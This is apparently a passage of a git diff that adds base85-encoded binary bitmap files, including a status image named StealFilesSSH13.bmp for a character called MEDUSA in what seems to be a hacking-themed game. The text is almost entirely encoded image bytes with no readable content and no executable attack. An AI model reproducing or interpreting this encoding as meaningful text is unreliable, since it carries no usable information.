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 literal 0 HcmV?d00001 diff --git a/resources/default_config/characters/MEDUSA/status/StealFilesSSH/StealFilesSSH13.bmp b/resources/default_config/characters/MEDUSA/status/StealFilesSSH/StealFilesSSH13.bmp new file mode 100644 index 0000000000000000000000000000000000000000..68fe849175c9178c33154c3a74120c5a120abe23 GIT binary patch literal 18462 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 